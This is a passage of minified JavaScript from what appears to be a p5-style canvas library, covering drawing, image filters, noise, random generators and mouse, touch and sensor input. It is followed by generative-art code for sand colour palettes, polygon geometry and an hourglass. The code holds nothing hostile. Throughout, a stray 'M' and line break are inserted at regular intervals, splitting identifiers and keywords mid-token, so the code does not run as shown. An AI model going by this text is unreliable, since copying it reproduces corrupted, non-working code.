length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
